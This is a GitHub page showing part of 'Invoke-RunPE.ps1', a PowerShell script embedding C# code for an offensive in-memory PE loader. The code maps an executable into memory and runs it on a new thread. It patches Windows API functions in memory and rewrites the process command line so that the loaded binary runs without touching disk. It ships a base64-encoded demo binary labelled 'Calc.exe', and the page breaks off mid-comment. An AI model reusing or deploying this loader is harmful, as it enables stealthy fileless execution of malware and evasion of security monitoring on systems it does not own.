-
Notifications
You must be signed in to change notification settings - Fork 2
/
Copy pathInvoke-RunPE.ps1
1559 lines (1271 loc) · 62.8 KB
/
Invoke-RunPE.ps1
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
282
283
284
285
286
287
288
289
290
291
292
293
294
295
296
297
298
299
300
301
302
303
304
305
306
307
308
309
310
311
312
313
314
315
316
317
318
319
320
321
322
323
324
325
326
327
328
329
330
331
332
333
334
335
336
337
338
339
340
341
342
343
344
345
346
347
348
349
350
351
352
353
354
355
356
357
358
359
360
361
362
363
364
365
366
367
368
369
370
371
372
373
374
375
376
377
378
379
380
381
382
383
384
385
386
387
388
389
390
391
392
393
394
395
396
397
398
399
400
401
402
403
404
405
406
407
408
409
410
411
412
413
414
415
416
417
418
419
420
421
422
423
424
425
426
427
428
429
430
431
432
433
434
435
436
437
438
439
440
441
442
443
444
445
446
447
448
449
450
451
452
453
454
455
456
457
458
459
460
461
462
463
464
465
466
467
468
469
470
471
472
473
474
475
476
477
478
479
480
481
482
483
484
485
486
487
488
489
490
491
492
493
494
495
496
497
498
499
500
501
502
503
504
505
506
507
508
509
510
511
512
513
514
515
516
517
518
519
520
521
522
523
524
525
526
527
528
529
530
531
532
533
534
535
536
537
538
539
540
541
542
543
544
545
546
547
548
549
550
551
552
553
554
555
556
557
558
559
560
561
562
563
564
565
566
567
568
569
570
571
572
573
574
575
576
577
578
579
580
581
582
583
584
585
586
587
588
589
590
591
592
593
594
595
596
597
598
599
600
601
602
603
604
605
606
607
608
609
610
611
612
613
614
615
616
617
618
619
620
621
622
623
624
625
626
627
628
629
630
631
632
633
634
635
636
637
638
639
640
641
642
643
644
645
646
647
648
649
650
651
652
653
654
655
656
657
658
659
660
661
662
663
664
665
666
667
668
669
670
671
672
673
674
675
676
677
678
679
680
681
682
683
684
685
686
687
688
689
690
691
692
693
694
695
696
697
698
699
700
701
702
703
704
705
706
707
708
709
710
711
712
713
714
715
716
717
718
719
720
721
722
723
724
725
726
727
728
729
730
731
732
733
734
735
736
737
738
739
740
741
742
743
744
745
746
747
748
749
750
751
752
753
754
755
756
757
758
759
760
761
762
763
764
765
766
767
768
769
770
771
772
773
774
775
776
777
778
779
780
781
782
783
784
785
786
787
788
789
790
791
792
793
794
795
796
797
798
799
800
801
802
803
804
805
806
807
808
809
810
811
812
813
814
815
816
817
818
819
820
821
822
823
824
825
826
827
828
829
830
831
832
833
834
835
836
837
838
839
840
841
842
843
844
845
846
847
848
849
850
851
852
853
854
855
856
857
858
859
860
861
862
863
864
865
866
867
868
869
870
871
872
873
874
875
876
877
878
879
880
881
882
883
884
885
886
887
888
889
890
891
892
893
894
895
896
897
898
899
900
901
902
903
904
905
906
907
908
909
910
911
912
913
914
915
916
917
918
919
920
921
922
923
924
925
926
927
928
929
930
931
932
933
934
935
936
937
938
939
940
941
942
943
944
945
946
947
948
949
950
951
952
953
954
955
956
957
958
959
960
961
962
963
964
965
966
967
968
969
970
971
972
973
974
975
976
977
978
979
980
981
982
983
984
985
986
987
988
989
990
991
992
993
994
995
996
997
998
999
1000
$RunPE = @"
using System;
using System.Linq;
using System.Runtime.InteropServices;
using System.Collections.Generic;
using System.Runtime.ConstrainedExecution;
using System.Security;
using System.IO;
using System.Text;
using System.Threading;
using System.Threading.Tasks;
using System.Diagnostics;
namespace RunPE
{
public class PELoader
{
public struct IMAGE_DOS_HEADER
{
public ushort e_magic;
public ushort e_cblp;
public ushort e_cp;
public ushort e_crlc;
public ushort e_cparhdr;
public ushort e_minalloc;
public ushort e_maxalloc;
public ushort e_ss;
public ushort e_sp;
public ushort e_csum;
public ushort e_ip;
public ushort e_cs;
public ushort e_lfarlc;
public ushort e_ovno;
public ushort e_res_0;
public ushort e_res_1;
public ushort e_res_2;
public ushort e_res_3;
public ushort e_oemid;
public ushort e_oeminfo;
public ushort e_res2_0;
public ushort e_res2_1;
public ushort e_res2_2;
public ushort e_res2_3;
public ushort e_res2_4;
public ushort e_res2_5;
public ushort e_res2_6;
public ushort e_res2_7;
public ushort e_res2_8;
public ushort e_res2_9;
public uint e_lfanew;
}
[StructLayout(LayoutKind.Sequential)]
public struct IMAGE_DATA_DIRECTORY
{
public uint VirtualAddress;
public uint Size;
}
[StructLayout(LayoutKind.Sequential, Pack = 1)]
public struct IMAGE_OPTIONAL_HEADER32
{
public ushort Magic;
public byte MajorLinkerVersion;
public byte MinorLinkerVersion;
public uint SizeOfCode;
public uint SizeOfInitializedData;
public uint SizeOfUninitializedData;
public uint AddressOfEntryPoint;
public uint BaseOfCode;
public uint BaseOfData;
public uint ImageBase;
public uint SectionAlignment;
public uint FileAlignment;
public ushort MajorOperatingSystemVersion;
public ushort MinorOperatingSystemVersion;
public ushort MajorImageVersion;
public ushort MinorImageVersion;
public ushort MajorSubsystemVersion;
public ushort MinorSubsystemVersion;
public uint Win32VersionValue;
public uint SizeOfImage;
public uint SizeOfHeaders;
public uint CheckSum;
public ushort Subsystem;
public ushort DllCharacteristics;
public uint SizeOfStackReserve;
public uint SizeOfStackCommit;
public uint SizeOfHeapReserve;
public uint SizeOfHeapCommit;
public uint LoaderFlags;
public uint NumberOfRvaAndSizes;
public IMAGE_DATA_DIRECTORY ExportTable;
public IMAGE_DATA_DIRECTORY ImportTable;
public IMAGE_DATA_DIRECTORY ResourceTable;
public IMAGE_DATA_DIRECTORY ExceptionTable;
public IMAGE_DATA_DIRECTORY CertificateTable;
public IMAGE_DATA_DIRECTORY BaseRelocationTable;
public IMAGE_DATA_DIRECTORY Debug;
public IMAGE_DATA_DIRECTORY Architecture;
public IMAGE_DATA_DIRECTORY GlobalPtr;
public IMAGE_DATA_DIRECTORY TLSTable;
public IMAGE_DATA_DIRECTORY LoadConfigTable;
public IMAGE_DATA_DIRECTORY BoundImport;
public IMAGE_DATA_DIRECTORY IAT;
public IMAGE_DATA_DIRECTORY DelayImportDescriptor;
public IMAGE_DATA_DIRECTORY CLRRuntimeHeader;
public IMAGE_DATA_DIRECTORY Reserved;
}
[StructLayout(LayoutKind.Sequential, Pack = 1)]
public struct IMAGE_OPTIONAL_HEADER64
{
public ushort Magic;
public byte MajorLinkerVersion;
public byte MinorLinkerVersion;
public uint SizeOfCode;
public uint SizeOfInitializedData;
public uint SizeOfUninitializedData;
public uint AddressOfEntryPoint;
public uint BaseOfCode;
public ulong ImageBase;
public uint SectionAlignment;
public uint FileAlignment;
public ushort MajorOperatingSystemVersion;
public ushort MinorOperatingSystemVersion;
public ushort MajorImageVersion;
public ushort MinorImageVersion;
public ushort MajorSubsystemVersion;
public ushort MinorSubsystemVersion;
public uint Win32VersionValue;
public uint SizeOfImage;
public uint SizeOfHeaders;
public uint CheckSum;
public ushort Subsystem;
public ushort DllCharacteristics;
public ulong SizeOfStackReserve;
public ulong SizeOfStackCommit;
public ulong SizeOfHeapReserve;
public ulong SizeOfHeapCommit;
public uint LoaderFlags;
public uint NumberOfRvaAndSizes;
public IMAGE_DATA_DIRECTORY ExportTable;
public IMAGE_DATA_DIRECTORY ImportTable;
public IMAGE_DATA_DIRECTORY ResourceTable;
public IMAGE_DATA_DIRECTORY ExceptionTable;
public IMAGE_DATA_DIRECTORY CertificateTable;
public IMAGE_DATA_DIRECTORY BaseRelocationTable;
public IMAGE_DATA_DIRECTORY Debug;
public IMAGE_DATA_DIRECTORY Architecture;
public IMAGE_DATA_DIRECTORY GlobalPtr;
public IMAGE_DATA_DIRECTORY TLSTable;
public IMAGE_DATA_DIRECTORY LoadConfigTable;
public IMAGE_DATA_DIRECTORY BoundImport;
public IMAGE_DATA_DIRECTORY IAT;
public IMAGE_DATA_DIRECTORY DelayImportDescriptor;
public IMAGE_DATA_DIRECTORY CLRRuntimeHeader;
public IMAGE_DATA_DIRECTORY Reserved;
}
[StructLayout(LayoutKind.Sequential, Pack = 1)]
public struct IMAGE_FILE_HEADER
{
public ushort Machine;
public ushort NumberOfSections;
public uint TimeDateStamp;
public uint PointerToSymbolTable;
public uint NumberOfSymbols;
public ushort SizeOfOptionalHeader;
public ushort Characteristics;
}
[StructLayout(LayoutKind.Explicit)]
public struct IMAGE_SECTION_HEADER
{
[FieldOffset(0)]
[MarshalAs(UnmanagedType.ByValArray, SizeConst = 8)]
public char[] Name;
[FieldOffset(8)] public uint VirtualSize;
[FieldOffset(12)] public uint VirtualAddress;
[FieldOffset(16)] public uint SizeOfRawData;
[FieldOffset(20)] public uint PointerToRawData;
[FieldOffset(24)] public uint PointerToRelocations;
[FieldOffset(28)] public uint PointerToLinenumbers;
[FieldOffset(32)] public ushort NumberOfRelocations;
[FieldOffset(34)] public ushort NumberOfLinenumbers;
[FieldOffset(36)] public DataSectionFlags Characteristics;
}
[Flags]
public enum DataSectionFlags : uint
{
Stub = 0x00000000,
}
private IMAGE_DOS_HEADER dosHeader;
private IMAGE_FILE_HEADER fileHeader;
private IMAGE_OPTIONAL_HEADER32 optionalHeader32;
private IMAGE_OPTIONAL_HEADER64 optionalHeader64;
private IMAGE_SECTION_HEADER[] imageSectionHeaders;
private byte[] rawbytes;
public PELoader(byte[] fileBytes)
{
using (var stream = new MemoryStream(fileBytes, 0, fileBytes.Length))
{
var reader = new BinaryReader(stream);
dosHeader = FromBinaryReader<IMAGE_DOS_HEADER>(reader);
stream.Seek(dosHeader.e_lfanew, SeekOrigin.Begin);
var ntHeadersSignature = reader.ReadUInt32();
fileHeader = FromBinaryReader<IMAGE_FILE_HEADER>(reader);
if (Is32BitHeader)
{
optionalHeader32 = FromBinaryReader<IMAGE_OPTIONAL_HEADER32>(reader);
}
else
{
optionalHeader64 = FromBinaryReader<IMAGE_OPTIONAL_HEADER64>(reader);
}
imageSectionHeaders = new IMAGE_SECTION_HEADER[fileHeader.NumberOfSections];
for (var headerNo = 0; headerNo < imageSectionHeaders.Length; ++headerNo)
{
imageSectionHeaders[headerNo] = FromBinaryReader<IMAGE_SECTION_HEADER>(reader);
}
rawbytes = fileBytes;
}
}
public static T FromBinaryReader<T>(BinaryReader reader)
{
var bytes = reader.ReadBytes(Marshal.SizeOf(typeof(T)));
var handle = GCHandle.Alloc(bytes, GCHandleType.Pinned);
var theStructure = (T)Marshal.PtrToStructure(handle.AddrOfPinnedObject(), typeof(T));
handle.Free();
return theStructure;
}
public bool Is32BitHeader
{
get
{
ushort IMAGE_FILE_32BIT_MACHINE = 0x0100;
return (IMAGE_FILE_32BIT_MACHINE & FileHeader.Characteristics) == IMAGE_FILE_32BIT_MACHINE;
}
}
public IMAGE_FILE_HEADER FileHeader
{
get { return fileHeader; }
}
public IMAGE_OPTIONAL_HEADER64 OptionalHeader64
{
get { return optionalHeader64; }
}
public IMAGE_SECTION_HEADER[] ImageSectionHeaders
{
get { return imageSectionHeaders; }
}
public byte[] RawBytes
{
get { return rawbytes; }
}
}
public static class Program
{
private const uint EXECUTION_TIMEOUT = 30000;
public static Encoding encoding;
public static int Main()
{
try
{
if (IntPtr.Size != 8)
{
Console.WriteLine("\n[-] Process is not 64-bit, this version of run-exe won't work !\n");
return -1;
}
var peRunDetails = ParseArgs();
if (peRunDetails == null)
{
return -10;
}
var peMapper = new PEMapper();
PELoader pe;
long currentBase;
peMapper.MapPEIntoMemory(peRunDetails.binaryBytes, out pe, out currentBase);
var importResolver = new ImportResolver();
importResolver.ResolveImports(pe, currentBase);
peMapper.SetPagePermissions();
var argumentHandler = new ArgumentHandler();
if (!argumentHandler.UpdateArgs(peRunDetails.filename, peRunDetails.args))
{
return -3;
}
var fileDescriptorRedirector = new FileDescriptorRedirector();
if (!fileDescriptorRedirector.RedirectFileDescriptors())
{
Console.WriteLine("[-] Unable to redirect file descriptors");
return -7;
}
var extraEnvironmentalPatcher = new ExtraEnvironmentPatcher((IntPtr)currentBase);
extraEnvironmentalPatcher.PerformExtraEnvironmentPatches();
var extraAPIPatcher = new ExtraAPIPatcher();
if (!extraAPIPatcher.PatchAPIs((IntPtr)currentBase))
{
return -9;
}
var exitPatcher = new ExitPatcher();
if (!exitPatcher.PatchExit())
{
return -8;
}
fileDescriptorRedirector.StartReadFromPipe();
StartExecution(peRunDetails.args, pe, currentBase);
exitPatcher.ResetExitFunctions();
extraAPIPatcher.RevertAPIs();
extraEnvironmentalPatcher.RevertExtraPatches();
fileDescriptorRedirector.ResetFileDescriptors();
argumentHandler.ResetArgs();
peMapper.ClearPE();
importResolver.ResetImports();
var output = fileDescriptorRedirector.ReadDescriptorOutput();
Console.WriteLine(output);
return 0;
}
catch (Exception e)
{
Console.WriteLine("[-] Error running RunPE: " + e);
return -6;
}
}
private static void StartExecution(string[] binaryArgs, PELoader pe, long currentBase)
{
try
{
var threadStart = (IntPtr)(currentBase + (int)pe.OptionalHeader64.AddressOfEntryPoint);
var hThread = NativeDeclarations.CreateThread(IntPtr.Zero, 0, threadStart, IntPtr.Zero, 0, IntPtr.Zero);
NativeDeclarations.WaitForSingleObject(hThread, EXECUTION_TIMEOUT);
}
catch (Exception e)
{
Console.WriteLine("[-] Error " + e + "\n");
}
}
public static PeRunDetails ParseArgs()
{
byte[] binaryBytes;
string[] args = new string[0];
String base64 = "TVqQAAMAAAAEAAAA//8AALgAAAAAAAAAQAAAAAAAAAAAAAAAAA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FIi1Igi0I8SAHQi4CIAAAASIXAdGtIAdBQi0gYRItAIEkB0ONaSP/JQYs0iEgB1k0xyUgxwKxBwckHQYPBAUEBwTjgde1MA0wkCEU50XXUWESLQCRJAdBmQYsMSESLQBxJAdBBiwSISAHQQVhBWF5ZWkFYQVlBWkiD7CBBUv/gWEFZWkiLEulP////XUi6AQAAAAAAAABIjY0JAQAAQbrRuHxM/9W7hxghdUG6fzmkAf/VSIPEKDwGfAqA++B1Bbt5IPyWagBZQYna/9VjYWxjLmV4ZQAAAAAASEEAAAAAAAD/////YEEAAAAwAAAAAAAAAAAAAAAAAAAAAAAAAAAAAG5BAAAAAAAAfkEAAAAAAAAAAAAAAAAAAEtFUk5FTDMyLmRsbAAAWARWaXJ0dWFsQWxsb2MAAAUBRXhpdFByb2Nlc3MAAAAAAAAAAAAIAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA=";
binaryBytes = Convert.FromBase64String(base64);
return new PeRunDetails { filename = "Calc.exe", args = args, binaryBytes = binaryBytes };
}
}
public class PeRunDetails
{
public string filename;
public string[] args;
public byte[] binaryBytes;
}
public static class Utils
{
public static byte[] PatchFunction(string dllName, string funcName, byte[] patchBytes)
{
var moduleHandle = NativeDeclarations.GetModuleHandle(dllName);
var pFunc = NativeDeclarations.GetProcAddress(moduleHandle, funcName);
var originalBytes = new byte[patchBytes.Length];
Marshal.Copy(pFunc, originalBytes, 0, patchBytes.Length);
uint oldProtect;
var result = NativeDeclarations.VirtualProtect(pFunc, (UIntPtr)patchBytes.Length, NativeDeclarations.PAGE_EXECUTE_READWRITE, out oldProtect);
if (!result)
{
return null;
}
Marshal.Copy(patchBytes, 0, pFunc, patchBytes.Length);
uint empty;
result = NativeDeclarations.VirtualProtect(pFunc, (UIntPtr)patchBytes.Length, oldProtect, out empty);
if (!result)
{
}
return originalBytes;
}
public static bool PatchAddress(IntPtr pAddress, IntPtr newValue)
{
uint oldProtect;
var result = NativeDeclarations.VirtualProtect(pAddress, (UIntPtr)IntPtr.Size, NativeDeclarations.PAGE_EXECUTE_READWRITE, out oldProtect);
if (!result)
{
return false;
}
Marshal.WriteIntPtr(pAddress, newValue);
uint empty;
result = NativeDeclarations.VirtualProtect(pAddress, (UIntPtr)IntPtr.Size, oldProtect, out empty);
if (!result)
{
return false;
}
return true;
}
public static bool ZeroOutMemory(IntPtr start, int length)
{
uint oldProtect;
var result = NativeDeclarations.VirtualProtect(start, (UIntPtr)length, NativeDeclarations.PAGE_READWRITE, out oldProtect);
if (!result)
{
}
var zeroes = new byte[length];
for (var i = 0; i < zeroes.Length; i++)
{
zeroes[i] = 0x00;
}
Marshal.Copy(zeroes.ToArray(), 0, start, length);
uint empty;
result = NativeDeclarations.VirtualProtect(start, (UIntPtr)length, oldProtect, out empty);
if (!result)
{
return false;
}
return true;
}
public static void FreeMemory(IntPtr address)
{
NativeDeclarations.VirtualFree(address, 0, NativeDeclarations.MEM_RELEASE);
}
public static IntPtr GetPointerToPeb()
{
var currentProcessHandle = NativeDeclarations.GetCurrentProcess();
var processBasicInformation =
Marshal.AllocHGlobal(Marshal.SizeOf(typeof(NativeDeclarations.PROCESS_BASIC_INFORMATION)));
var outSize = Marshal.AllocHGlobal(sizeof(long));
var pPEB = IntPtr.Zero;
var result = NativeDeclarations.NtQueryInformationProcess(currentProcessHandle, 0, processBasicInformation,
(uint)Marshal.SizeOf(typeof(NativeDeclarations.PROCESS_BASIC_INFORMATION)), outSize);
NativeDeclarations.CloseHandle(currentProcessHandle);
Marshal.FreeHGlobal(outSize);
if (result == 0)
{
pPEB = ((NativeDeclarations.PROCESS_BASIC_INFORMATION)Marshal.PtrToStructure(processBasicInformation,
typeof(NativeDeclarations.PROCESS_BASIC_INFORMATION))).PebAddress;
}
else
{
Console.WriteLine("[-] Unable to NtQueryInformationProcess, error code: " + result);
var error = NativeDeclarations.GetLastError();
Console.WriteLine("[-] GetLastError: " + error);
}
Marshal.FreeHGlobal(processBasicInformation);
return pPEB;
}
public static byte[] ReadMemory(IntPtr address, int length)
{
var bytes = new byte[length];
Marshal.Copy(address, bytes, 0, length);
return bytes;
}
}
public static unsafe class NativeDeclarations
{
public const uint PAGE_EXECUTE_READWRITE = 0x40;
public const uint PAGE_READWRITE = 0x04;
public const uint PAGE_EXECUTE_READ = 0x20;
public const uint PAGE_EXECUTE = 0x10;
public const uint PAGE_EXECUTE_WRITECOPY = 0x80;
public const uint PAGE_NOACCESS = 0x01;
public const uint PAGE_READONLY = 0x02;
public const uint PAGE_WRITECOPY = 0x08;
public const uint MEM_COMMIT = 0x1000;
public const uint MEM_RELEASE = 0x00008000;
public const uint IMAGE_SCN_MEM_EXECUTE = 0x20000000;
public const uint IMAGE_SCN_MEM_READ = 0x40000000;
public const uint IMAGE_SCN_MEM_WRITE = 0x80000000;
[StructLayout(LayoutKind.Sequential)]
public struct IMAGE_BASE_RELOCATION
{
public uint VirtualAdress;
public uint SizeOfBlock;
}
[DllImport("kernel32.dll")]
[return: MarshalAs(UnmanagedType.Bool)]
public static extern bool SetStdHandle(int nStdHandle, IntPtr hHandle);
[DllImport("kernel32.dll")]
public static extern uint GetLastError();
[DllImport("kernel32.dll", SetLastError = true)]
public static extern IntPtr GetStdHandle(int nStdHandle);
[StructLayout(LayoutKind.Sequential)]
public struct SECURITY_ATTRIBUTES
{
public int nLength;
public byte* lpSecurityDescriptor;
public int bInheritHandle;
}
[DllImport("kernel32.dll", SetLastError = true)]
public static extern bool ReadFile(IntPtr hFile, [Out] byte[] lpBuffer, uint nNumberOfBytesToRead, out uint lpNumberOfBytesRead, IntPtr lpOverlapped);
[DllImport("kernel32.dll")]
public static extern bool CreatePipe(out IntPtr hReadPipe, out IntPtr hWritePipe, ref SECURITY_ATTRIBUTES lpPipeAttributes, uint nSize);
[DllImport("ntdll.dll", SetLastError = true)]
public static extern int NtQueryInformationProcess(IntPtr processHandle, int processInformationClass,
IntPtr processInformation, uint processInformationLength, IntPtr returnLength);
[DllImport("kernel32")]
public static extern IntPtr VirtualAlloc(IntPtr lpStartAddr, uint size, uint flAllocationType,
uint flProtect);
[DllImport("kernel32.dll", SetLastError = true, CharSet = CharSet.Unicode)]
public static extern IntPtr LoadLibrary(string lpFileName);
[DllImport("kernel32.dll", CharSet = CharSet.Ansi, ExactSpelling = true, SetLastError = true)]
public static extern IntPtr GetProcAddress(IntPtr hModule, string procName);
[DllImport("kernel32.dll", SetLastError = true)]
public static extern IntPtr GetCurrentProcess();
[DllImport("kernel32.dll", CharSet = CharSet.Auto)]
public static extern IntPtr GetCommandLine();
[DllImport("kernel32.dll", SetLastError = true)]
[ReliabilityContract(Consistency.WillNotCorruptState, Cer.Success)]
[SuppressUnmanagedCodeSecurity]
[return: MarshalAs(UnmanagedType.Bool)]
public static extern bool CloseHandle(IntPtr hObject);
[DllImport("kernel32")]
public static extern IntPtr CreateThread(IntPtr lpThreadAttributes, uint dwStackSize, IntPtr lpStartAddress,
IntPtr param, uint dwCreationFlags, IntPtr lpThreadId);
[DllImport("kernel32.dll")]
public static extern bool VirtualProtect(IntPtr lpAddress, UIntPtr dwSize, uint flNewProtect,
out uint lpFlOldProtect);
[DllImport("kernel32.dll", CharSet = CharSet.Auto)]
public static extern IntPtr GetModuleHandle(string lpModuleName);
[DllImport("kernel32.dll", SetLastError = true, ExactSpelling = true)]
public static extern bool VirtualFree(IntPtr pAddress, uint size, uint freeType);
[DllImport("kernel32")]
public static extern uint WaitForSingleObject(IntPtr hHandle, uint dwMilliseconds);
[StructLayout(LayoutKind.Sequential)]
public struct PROCESS_BASIC_INFORMATION
{
public uint ExitStatus;
public IntPtr PebAddress;
public UIntPtr AffinityMask;
public int BasePriority;
public UIntPtr UniqueProcessId;
public UIntPtr InheritedFromUniqueProcessId;
}
}
public class ArgumentHandler
{
private const int
PEB_RTL_USER_PROCESS_PARAMETERS_OFFSET =
0x20;
private const int
RTL_USER_PROCESS_PARAMETERS_COMMANDLINE_OFFSET =
0x70;
private const int RTL_USER_PROCESS_PARAMETERS_MAX_LENGTH_OFFSET = 2;
private const int
RTL_USER_PROCESS_PARAMETERS_IMAGE_OFFSET =
0x60;
private const int
UNICODE_STRING_STRUCT_STRING_POINTER_OFFSET =
0x8;
private byte[] _originalCommandLineFuncBytes;
private IntPtr _ppCommandLineString;
private IntPtr _ppImageString;
private IntPtr _pLength;
private IntPtr _pMaxLength;
private IntPtr _pOriginalCommandLineString;
private IntPtr _pOriginalImageString;
private IntPtr _pNewString;
private short _originalLength;
private short _originalMaxLength;
private string _commandLineFunc;
private Encoding _encoding;
public bool UpdateArgs(string filename, string[] args)
{
var pPEB = Utils.GetPointerToPeb();
if (pPEB == IntPtr.Zero)
{
return false;
}
GetPebCommandLineAndImagePointers(pPEB, out _ppCommandLineString, out _pOriginalCommandLineString,
out _ppImageString, out _pOriginalImageString, out _pLength, out _originalLength, out _pMaxLength,
out _originalMaxLength);
var newCommandLineString = "\"" + filename + "\" " + string.Join(" ", args);
var pNewCommandLineString = Marshal.StringToHGlobalUni(newCommandLineString);
var pNewImageString = Marshal.StringToHGlobalUni(filename);
if (!Utils.PatchAddress(_ppCommandLineString, pNewCommandLineString))
{
return false;
}
if (!Utils.PatchAddress(_ppImageString, pNewImageString))
{
return false;
}
Marshal.WriteInt16(_pLength, 0, (short)newCommandLineString.Length);
Marshal.WriteInt16(_pMaxLength, 0, (short)newCommandLineString.Length);
if (!PatchGetCommandLineFunc(newCommandLineString))
{
return false;
}
return true;
}
private bool PatchGetCommandLineFunc(string newCommandLineString)
{
var pCommandLineString = NativeDeclarations.GetCommandLine();
var commandLineString = Marshal.PtrToStringAuto(pCommandLineString);
_encoding = Encoding.UTF8;
if (commandLineString != null)
{
var stringBytes = new byte[commandLineString.Length];
Marshal.Copy(pCommandLineString, stringBytes, 0,
commandLineString.Length);
if (!new List<byte>(stringBytes).Contains(0x00))
{
_encoding = Encoding.ASCII;
}
Program.encoding = _encoding;
}
_commandLineFunc = _encoding.Equals(Encoding.ASCII) ? "GetCommandLineA" : "GetCommandLineW";
_pNewString = _encoding.Equals(Encoding.ASCII)
? Marshal.StringToHGlobalAnsi(newCommandLineString)
: Marshal.StringToHGlobalUni(newCommandLineString);
var patchBytes = new List<byte> { 0x48, 0xB8 };
var pointerBytes = BitConverter.GetBytes(_pNewString.ToInt64());
patchBytes.AddRange(pointerBytes);
patchBytes.Add(0xC3);
_originalCommandLineFuncBytes = Utils.PatchFunction("kernelbase", _commandLineFunc, patchBytes.ToArray());
if (_originalCommandLineFuncBytes == null)
{
return false;
}
return true;
}
private static void GetPebCommandLineAndImagePointers(IntPtr pPEB, out IntPtr ppCommandLineString,
out IntPtr pCommandLineString, out IntPtr ppImageString, out IntPtr pImageString,
out IntPtr pCommandLineLength, out short commandLineLength, out IntPtr pCommandLineMaxLength,
out short commandLineMaxLength)
{
var ppRtlUserProcessParams = (IntPtr)(pPEB.ToInt64() + PEB_RTL_USER_PROCESS_PARAMETERS_OFFSET);
var pRtlUserProcessParams = Marshal.ReadInt64(ppRtlUserProcessParams);
ppCommandLineString = (IntPtr)pRtlUserProcessParams + RTL_USER_PROCESS_PARAMETERS_COMMANDLINE_OFFSET +
UNICODE_STRING_STRUCT_STRING_POINTER_OFFSET;
pCommandLineString = (IntPtr)Marshal.ReadInt64(ppCommandLineString);
ppImageString = (IntPtr)pRtlUserProcessParams + RTL_USER_PROCESS_PARAMETERS_IMAGE_OFFSET +
UNICODE_STRING_STRUCT_STRING_POINTER_OFFSET;
pImageString = (IntPtr)Marshal.ReadInt64(ppImageString);
pCommandLineLength = (IntPtr)pRtlUserProcessParams + RTL_USER_PROCESS_PARAMETERS_COMMANDLINE_OFFSET;
commandLineLength = Marshal.ReadInt16(pCommandLineLength);
pCommandLineMaxLength = (IntPtr)pRtlUserProcessParams + RTL_USER_PROCESS_PARAMETERS_COMMANDLINE_OFFSET +
RTL_USER_PROCESS_PARAMETERS_MAX_LENGTH_OFFSET;
commandLineMaxLength = Marshal.ReadInt16(pCommandLineMaxLength);
}
public void ResetArgs()
{
if (Utils.PatchFunction("kernelbase", _commandLineFunc, _originalCommandLineFuncBytes) == null)
{
}
if (!Utils.PatchAddress(_ppCommandLineString, _pOriginalCommandLineString))
{
}
if (!Utils.PatchAddress(_ppImageString, _pOriginalImageString))
{
}
Marshal.WriteInt16(_pLength, 0, _originalLength);
Marshal.WriteInt16(_pMaxLength, 0, _originalMaxLength);
}
}
public class ExitPatcher
{
private byte[] _terminateProcessOriginalBytes;
private byte[] _ntTerminateProcessOriginalBytes;
private byte[] _rtlExitUserProcessOriginalBytes;
private byte[] _corExitProcessOriginalBytes;
public bool PatchExit()
{
var hKernelbase = NativeDeclarations.GetModuleHandle("kernelbase");
var pExitThreadFunc = NativeDeclarations.GetProcAddress(hKernelbase, "ExitThread");
var exitThreadPatchBytes = new List<byte> { 0x48, 0xC7, 0xC1, 0x00, 0x00, 0x00, 0x00, 0x48, 0xB8 };
/*
mov rcx, 0x0 #takes first arg
mov rax, <ExitThread> #
push rax
ret
*/
var pointerBytes = BitConverter.GetBytes(pExitThreadFunc.ToInt64());
exitThreadPatchBytes.AddRange(pointerBytes);
exitThreadPatchBytes.Add(0x50);
exitThreadPatchBytes.Add(0xC3);
_terminateProcessOriginalBytes =
Utils.PatchFunction("kernelbase", "TerminateProcess", exitThreadPatchBytes.ToArray());
if (_terminateProcessOriginalBytes == null)
{
return false;
}
_corExitProcessOriginalBytes =
Utils.PatchFunction("mscoree", "CorExitProcess", exitThreadPatchBytes.ToArray());
if (_corExitProcessOriginalBytes == null)
{
return false;
}
_ntTerminateProcessOriginalBytes =
Utils.PatchFunction("ntdll", "NtTerminateProcess", exitThreadPatchBytes.ToArray());
if (_ntTerminateProcessOriginalBytes == null)
{
return false;
}
_rtlExitUserProcessOriginalBytes =
Utils.PatchFunction("ntdll", "RtlExitUserProcess", exitThreadPatchBytes.ToArray());
if (_rtlExitUserProcessOriginalBytes == null)
{
return false;
}
return true;
}
public void ResetExitFunctions()
{
Utils.PatchFunction("kernelbase", "TerminateProcess", _terminateProcessOriginalBytes);
Utils.PatchFunction("mscoree", "CorExitProcess", _corExitProcessOriginalBytes);
Utils.PatchFunction("ntdll", "NtTerminateProcess", _ntTerminateProcessOriginalBytes);
Utils.PatchFunction("ntdll", "RtlExitUserProcess", _rtlExitUserProcessOriginalBytes);
}
}
public class ExtraAPIPatcher
{
private byte[] _originalGetModuleHandleBytes;
private string _getModuleHandleFuncName;
private IntPtr _newFuncAlloc;
private int _newFuncBytesCount;
public bool PatchAPIs(IntPtr baseAddress)
{
_getModuleHandleFuncName = Encoding.UTF8.Equals(Program.encoding) ? "GetModuleHandleW" : "GetModuleHandleA";
var moduleHandle = NativeDeclarations.GetModuleHandle("kernelbase");
var getModuleHandleFuncAddress = NativeDeclarations.GetProcAddress(moduleHandle, _getModuleHandleFuncName);
var patchLength = CalculatePatchLength(getModuleHandleFuncAddress);
WriteNewFuncToMemory(baseAddress, getModuleHandleFuncAddress, patchLength);
if (PatchAPIToJmpToNewFunc(patchLength)) return true;
return false;
}
private bool PatchAPIToJmpToNewFunc(int patchLength)
{
var pointerBytes = BitConverter.GetBytes(_newFuncAlloc.ToInt64());
/*
